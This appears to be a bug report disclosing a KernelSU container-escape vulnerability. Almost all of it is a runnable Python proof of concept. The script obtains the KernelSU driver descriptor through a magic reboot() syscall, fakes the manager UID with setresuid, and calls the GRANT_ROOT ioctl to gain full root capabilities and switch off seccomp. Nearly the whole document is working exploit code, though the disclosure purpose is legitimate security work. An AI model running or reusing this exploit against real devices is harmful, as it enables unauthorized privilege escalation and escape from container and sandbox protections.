[BUG]: [container escape] KernelSU GRANT_ROOT reachable via manager-UID impersonation (setresuid), bypasses is_ksu_domain() and disables seccomp #257

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
KernelSU supervisor-call escape PoC #3 (manager-uid impersonation).

GRANT_ROOT is reachable by a process that fakes the manager UID via
setresuid(), bypassing the is_ksu_domain() guard intended to block container
root (uid 0). GRANT_ROOT runs escape_with_root_profile(), which installs the
default root profile (uid 0, full caps, u:r:ksu:s0) AND calls
disable_seccomp() - the only code path that disables seccomp.

Non-destructive: after escalating, the PoC only reads /proc/self/status and
/proc/self/attr/current to show before/after state.

Reproduce:  sudo python3 ksu_poc3_manager_uid.py
  (needs container root for CAP_SETUID and uid-0 GET_MANAGER_APPID)
"""
import ctypes
import os
import platform

ARCH = platform.machine().lower()
NR_REBOOT = {"aarch64": 142, "arm64": 142, "x86_64": 169, "x86": 169}.get(ARCH, 142)

libc = ctypes.CDLL("libc.so.6", use_errno=True)
libc.syscall.restype = ctypes.c_long
libc.ioctl.restype = ctypes.c_int
libc.setresuid.restype = ctypes.c_int

GRANT_ROOT = 0x00004B01         # _IO('K', 1)               perm: allowed_for_su
GET_MANAGER_APPID = 0x80004B0A  # _IOC(_IOC_READ,'K',10,0)  perm: manager_or_root
INVALID_APPID = 0xFFFFFFFF


def snap(label):
    uid = os.getuid()
    sec = cap = "?"
    for line in open("/proc/self/status"):
        if line.startswith("Seccomp:"):
            sec = line.split(":")[1].strip()
        elif line.startswith("CapEff:"):
            cap = line.split(":")[1].strip()
    try:
        ctx = open("/proc/self/attr/current").read().strip()
    except OSError:
        ctx = "?"
    print(f"  [{label}] uid={uid}  Seccomp={sec}  CapEff={cap}  SELinux={ctx}")


def get_fd():
    out = ctypes.c_int(-1)
    r = libc.syscall(NR_REBOOT, 0xDEADBEEF, 0xCAFEBABE, 0, ctypes.byref(out))
    return r, out.value


print("=" * 64)
print(" KSU escape PoC #3: manager-uid impersonation -> GRANT_ROOT")
print("=" * 64)

if os.getuid() != 0:
    print(f"\n[!] running as uid={os.getuid()}; need container root "
          f"(CAP_SETUID + uid-0 GET_MANAGER_APPID).")
    print(f"    try:  sudo python3 {os.path.abspath(__file__)}")
    raise SystemExit(1)

print("\n>> Step 1: container root obtains [ksu_driver] fd + reads manager appid")
snap("container-root")
r, fd = get_fd()
print(f"  reboot() ret={r}  fd={fd}")

appid = ctypes.c_uint32(INVALID_APPID)
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GET_MANAGER_APPID), ctypes.byref(appid))
M = appid.value
print(f"  GET_MANAGER_APPID ret={r}  ksu_manager_appid={M} "
      f"({'INVALID - no manager recognized' if M == INVALID_APPID else 'M = ' + str(M)})")
if M == INVALID_APPID:
    print("\n[!] no manager recognized (official manager APK not installed/scanned). "
          "Cannot proceed. Exiting.")
    raise SystemExit(1)

print(f"\n>> Step 2: setresuid({M},{M},{M})  -> impersonate manager (CAP_SETUID)")
r = libc.setresuid(M, M, M)
print(f"  setresuid ret={r}  errno={ctypes.get_errno()}")
snap(f"uid{M}(fake-manager)")

print("\n>> Step 3: GRANT_ROOT  (allowed_for_su: is_manager() branch now true)")
r = libc.ioctl(ctypes.c_int(fd), ctypes.c_ulong(GRANT_ROOT), 0)
e = ctypes.get_errno()
if r == 0:
    print(f"  GRANT_ROOT ret={r}  => SUCCESS: escape_with_root_profile executed "
          f"(escalated + disable_seccomp)")
else:
    print(f"  GRANT_ROOT ret={r}  errno={e}  => blocked "
          f"(M may be >= 100000 multi-user, or is_manager() failed)")

print("\n>> Step 4: post-escape state")
snap("post-escape")